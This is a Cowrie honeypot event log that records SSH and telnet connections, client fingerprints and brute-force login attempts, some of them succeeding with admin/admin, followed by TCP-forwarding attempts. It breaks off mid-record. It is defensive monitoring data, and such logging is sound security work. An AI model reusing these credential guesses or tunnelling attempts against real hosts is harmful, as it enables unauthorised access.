{"eventid":"cowrie.session.connect","src_ip":"94.26.106.139","src_port":37176,"dst_ip":"159.203.135.109","dst_port":22,"session":"aecc90bbcc9e","protocol":"ssh","message":"New connection: 94.26.106.139:37176 (159.203.135.109:22) [session: aecc90bbcc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.201817Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.205734Z","src_ip":"94.26.106.139","session":"aecc90bbcc9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.139","src_port":37184,"dst_ip":"159.203.135.109","dst_port":22,"session":"7964c8edf312","protocol":"ssh","message":"New connection: 94.26.106.139:37184 (159.203.135.109:22) [session: 7964c8edf312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.352657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.361012Z","src_ip":"94.26.106.139","session":"7964c8edf312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.445293Z","src_ip":"94.26.106.139","session":"7964c8edf312","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.615249Z","src_ip":"94.26.106.139","session":"7964c8edf312","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"94.26.106.139","dst_port":80,"src_ip":"94.26.106.139","src_port":5555,"message":"direct-tcp connection request to 94.26.106.139:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.702392Z","session":"7964c8edf312","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"94.26.106.139","dst_port":80,"data":"b'9cnRZkabVf64siVcOMgwCBDefhSbLf5gJ3fuobhCv6aTKPo27D'","id":0,"message":"discarded direct-tcp forward request 0 to 94.26.106.139:80 with data b'9cnRZkabVf64siVcOMgwCBDefhSbLf5gJ3fuobhCv6aTKPo27D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.788422Z","src_ip":"94.26.106.139","session":"7964c8edf312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:12.890985Z","src_ip":"94.26.106.139","session":"7964c8edf312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":60462,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cfcd8b0ce3a","protocol":"ssh","message":"New connection: 64.89.163.156:60462 (159.203.135.109:22) [session: 2cfcd8b0ce3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:49.678911Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:49.769361Z","src_ip":"64.89.163.156","session":"2cfcd8b0ce3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":60464,"dst_ip":"159.203.135.109","dst_port":22,"session":"31421d4706c3","protocol":"ssh","message":"New connection: 64.89.163.156:60464 (159.203.135.109:22) [session: 31421d4706c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:49.852504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:49.856536Z","src_ip":"64.89.163.156","session":"31421d4706c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:49.946251Z","src_ip":"64.89.163.156","session":"31421d4706c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"test123","message":"login attempt [weblogic/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:50.207120Z","src_ip":"64.89.163.156","session":"31421d4706c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:39:51.296617Z","src_ip":"64.89.163.156","session":"31421d4706c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00427865982056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:40:16.149858Z","src_ip":"212.55.149.117","session":"cdda18aec7a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":26050,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2b6163ce78","protocol":"telnet","message":"New connection: 212.55.149.117:26050 (10.17.0.5:23) [session: cd2b6163ce78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:40:19.391632Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":20215,"dst_ip":"10.17.0.5","dst_port":23,"session":"92fd9b0488e3","protocol":"telnet","message":"New connection: 212.55.149.117:20215 (10.17.0.5:23) [session: 92fd9b0488e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:40:39.746911Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36478,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ceb065c999d","protocol":"ssh","message":"New connection: 103.15.226.202:36478 (10.17.0.5:22) [session: 1ceb065c999d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:41:03.185980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:41:03.190563Z","src_ip":"103.15.226.202","session":"1ceb065c999d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:41:03.435232Z","src_ip":"103.15.226.202","session":"1ceb065c999d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123456.","message":"login attempt [root/asd123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:41:04.172771Z","src_ip":"103.15.226.202","session":"1ceb065c999d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:41:05.421221Z","src_ip":"103.15.226.202","session":"1ceb065c999d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.32900261878967,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:41:20.720539Z","src_ip":"212.55.149.117","session":"cd2b6163ce78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.19502067565918,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:41:39.941822Z","src_ip":"212.55.149.117","session":"92fd9b0488e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48824,"dst_ip":"10.17.0.5","dst_port":22,"session":"00c67cb03f60","protocol":"ssh","message":"New connection: 87.251.64.176:48824 (10.17.0.5:22) [session: 00c67cb03f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:10.100808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:10.106168Z","src_ip":"87.251.64.176","session":"00c67cb03f60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:10.202349Z","src_ip":"87.251.64.176","session":"00c67cb03f60","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:10.491515Z","src_ip":"87.251.64.176","session":"00c67cb03f60","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:10.590390Z","session":"00c67cb03f60","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:10.687943Z","src_ip":"87.251.64.176","session":"00c67cb03f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:10.787494Z","src_ip":"87.251.64.176","session":"00c67cb03f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40010,"dst_ip":"159.203.135.109","dst_port":22,"session":"21b604838d72","protocol":"ssh","message":"New connection: 80.94.92.186:40010 (159.203.135.109:22) [session: 21b604838d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:42.009836Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:42:42.126733Z","src_ip":"80.94.92.186","session":"21b604838d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":48357,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eec373b112a","protocol":"telnet","message":"New connection: 212.55.149.117:48357 (10.17.0.5:23) [session: 1eec373b112a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:43:08.082599Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22194,"dst_ip":"10.17.0.5","dst_port":23,"session":"7025e2dbd640","protocol":"telnet","message":"New connection: 212.55.149.117:22194 (10.17.0.5:23) [session: 7025e2dbd640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:43:16.666390Z"}
{"eventid":"cowrie.session.closed","duration":61.34626746177673,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:09.428740Z","src_ip":"212.55.149.117","session":"1eec373b112a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":29057,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d2162abe0b7","protocol":"ssh","message":"New connection: 2.57.121.112:29057 (159.203.135.109:22) [session: 3d2162abe0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:12.586708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:12.591993Z","src_ip":"2.57.121.112","session":"3d2162abe0b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:12.693047Z","src_ip":"2.57.121.112","session":"3d2162abe0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pennies","message":"login attempt [admin/pennies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:13.167074Z","src_ip":"2.57.121.112","session":"3d2162abe0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"penalty","message":"login attempt [admin/penalty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:14.270812Z","src_ip":"2.57.121.112","session":"3d2162abe0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pegleg","message":"login attempt [admin/pegleg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:15.374953Z","src_ip":"2.57.121.112","session":"3d2162abe0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"peedee","message":"login attempt [admin/peedee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:16.478500Z","src_ip":"2.57.121.112","session":"3d2162abe0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pavell","message":"login attempt [admin/pavell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:17.583190Z","src_ip":"2.57.121.112","session":"3d2162abe0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:18.689866Z","src_ip":"2.57.121.112","session":"3d2162abe0b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.60.68","src_port":2217,"dst_ip":"159.203.135.109","dst_port":23,"session":"be26a59e2259","protocol":"telnet","message":"New connection: 38.25.60.68:2217 (159.203.135.109:23) [session: be26a59e2259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:21.870251Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62734,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d838aac5a13","protocol":"ssh","message":"New connection: 87.251.64.176:62734 (10.17.0.5:22) [session: 7d838aac5a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:22.393485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:22.398420Z","src_ip":"87.251.64.176","session":"7d838aac5a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 